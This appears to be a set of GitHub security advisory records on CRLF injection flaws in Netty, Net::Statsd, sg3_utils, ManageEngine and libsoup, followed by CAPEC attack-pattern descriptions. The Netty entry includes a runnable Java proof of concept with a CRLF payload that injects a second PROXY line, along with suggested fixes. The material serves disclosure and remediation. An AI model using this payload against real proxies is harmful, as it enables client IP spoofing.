\"PROXY \"\n out.writeByte((byte) \u0027 \u0027);\n out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n out.writeByte((byte) \u0027 \u0027);\n out.writeCharSequence(msg.sourceAddress(), US_ASCII); // \u003c-- NO CRLF CHECK\n out.writeByte((byte) \u0027 \u0027);\n out.writeCharSequence(msg.destinationAddress(), US_ASCII); // \u003c-- NO CRLF CHECK\n out.writeByte((byte) \u0027 \u0027);\n // ...\n out.writeByte((byte) \u0027\\r\u0027);\n out.writeByte((byte) \u0027\\n\u0027);\n}\n```\n\n### Root Cause \u2014 Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate static void checkAddress(String address, AddressFamily addrFamily) {\n switch (addrFamily) {\n case AF_UNIX:\n ObjectUtil.checkNotNull(address, \"address\");\n if (address.getBytes(CharsetUtil.US_ASCII).length \u003e 108) {\n throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n }\n return; // ONLY checks length \u003c= 108, NO CRLF validation!\n case AF_IPv4:\n if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF\n case AF_IPv6:\n if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF\n }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length \u003c= 108`** \u2014 any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty\u0027s `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n HAProxyProtocolVersion.V1,\n HAProxyCommand.PROXY,\n HAProxyProxiedProtocol.UNIX_STREAM,\n maliciousAddr, // CRLF-injected source address\n \"/var/run/dest.sock\",\n 0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** \u2014 the backend believes the client is `10.0.0.1` when it\u0027s not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n String destAddr = \"/var/run/dest.sock\";\n\n HAProxyMessage msg = new HAProxyMessage(\n HAProxyProtocolVersion.V1,\n HAProxyCommand.PROXY,\n HAProxyProxiedProtocol.UNIX_STREAM,\n maliciousAddr, destAddr, 0, 0);\n\n EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n ch.writeOutbound(msg);\n\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n\n int proxyCount = 0;\n for (String line : encoded.split(\"\\r\\n\")) {\n if (line.startsWith(\"PROXY\")) proxyCount++;\n }\n System.out.println(\"PROXY lines: \" + proxyCount);\n System.out.println(\"VULNERABLE: \" + (proxyCount \u003e 1 ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n Source address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n Wire format:\n PROXY UNIX_STREAM /var/run/app.sock\\r\n PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n PROXY lines found: 2\n VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n ObjectUtil.checkNotNull(address, \"address\");\n byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n if (addrBytes.length \u003e 108) {\n throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n }\n for (byte b : addrBytes) {\n if (b == \u0027\\r\u0027 || b == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"AF_UNIX address contains prohibited CRLF character\");\n }\n }\n return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n for (int i = 0; i \u003c address.length(); i++) {\n char c = address.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027 \u0027) {\n throw new HAProxyProtocolException(\n \"V1 address contains prohibited character at index \" + i);\n }\n }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
"id": "GHSA-wh89-7897-x99h",
"modified": "2026-07-22T21:51:40Z",
"published": "2026-07-22T21:51:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}
GHSA-WJP4-MF92-6WH6
Vulnerability from github – Published: 2026-06-04 18:30 – Updated: 2026-06-04 21:31Net::Statsd versions before 0.13 for Perl allow metric injections.
The metric names are not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.
The update_stats (used for updating counters) and gauge methods do not check that values are numeric (which would block metric injection).
{
"affected": [],
"aliases": [
"CVE-2026-46739"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T17:16:32Z",
"severity": "MODERATE"
},
"details": "Net::Statsd versions before 0.13 for Perl allow metric injections.\n\nThe metric names are not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nThe update_stats (used for updating counters) and gauge methods do not check that values are numeric (which would block metric injection).",
"id": "GHSA-wjp4-mf92-6wh6",
"modified": "2026-06-04T21:31:21Z",
"published": "2026-06-04T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46739"
},
{
"type": "WEB",
"url": "https://github.com/cosimo/perl5-net-statsd/pull/10"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46720"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WQMP-FW94-RPG4
Vulnerability from github – Published: 2026-07-28 18:33 – Updated: 2026-08-25 18:31A flaw was found in sg3_utils. The sg_inq command, when invoked with the --export option, outputs device identification data without sanitizing control characters in SCSI name string fields. A newline character embedded in a device-supplied name string can inject arbitrary properties into the udev device database. This could allow an attacker who can present a crafted SCSI device to execute arbitrary commands as root when the device is disconnected.
{
"affected": [],
"aliases": [
"CVE-2026-16313"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T17:16:37Z",
"severity": "HIGH"
},
"details": "A flaw was found in sg3_utils. The sg_inq command, when invoked with the --export option, outputs device identification data without sanitizing control characters in SCSI name string fields. A newline character embedded in a device-supplied name string can inject arbitrary properties into the udev device database. This could allow an attacker who can present a crafted SCSI device to execute arbitrary commands as root when the device is disconnected.",
"id": "GHSA-wqmp-fw94-rpg4",
"modified": "2026-08-25T18:31:37Z",
"published": "2026-07-28T18:33:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16313"
},
{
"type": "WEB",
"url": "https://github.com/doug-gilbert/sg3_utils/pull/83"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50141"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50142"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54769"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56130"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59397"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-16313"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2502845"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WRM4-G46Q-5QHG
Vulnerability from github – Published: 2023-11-03 12:30 – Updated: 2023-11-03 12:30A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.csv.
{
"affected": [],
"aliases": [
"CVE-2023-4767"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T11:15:08Z",
"severity": "MODERATE"
},
"details": "A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.csv.",
"id": "GHSA-wrm4-g46q-5qhg",
"modified": "2023-11-03T12:30:31Z",
"published": "2023-11-03T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4767"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-manageengine-desktop-central"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4CC-VGCC-H5H4
Vulnerability from github – Published: 2026-01-28 18:30 – Updated: 2026-03-19 15:31A flaw was found in libsoup. An attacker who can control the input for the Content-Disposition header can inject CRLF (Carriage Return Line Feed) sequences into the header value. These sequences are then interpreted verbatim when the HTTP request or response is constructed, allowing arbitrary HTTP headers to be injected. This vulnerability can lead to HTTP header injection or HTTP response splitting without requiring authentication or user interaction.
{
"affected": [],
"aliases": [
"CVE-2026-1536"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T16:16:16Z",
"severity": "MODERATE"
},
"details": "A flaw was found in libsoup. An attacker who can control the input for the Content-Disposition header can inject CRLF (Carriage Return Line Feed) sequences into the header value. These sequences are then interpreted verbatim when the HTTP request or response is constructed, allowing arbitrary HTTP headers to be injected. This vulnerability can lead to HTTP header injection or HTTP response splitting without requiring authentication or user interaction.",
"id": "GHSA-x4cc-vgcc-h5h4",
"modified": "2026-03-19T15:31:09Z",
"published": "2026-01-28T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1536"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-1536"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433834"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/486"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.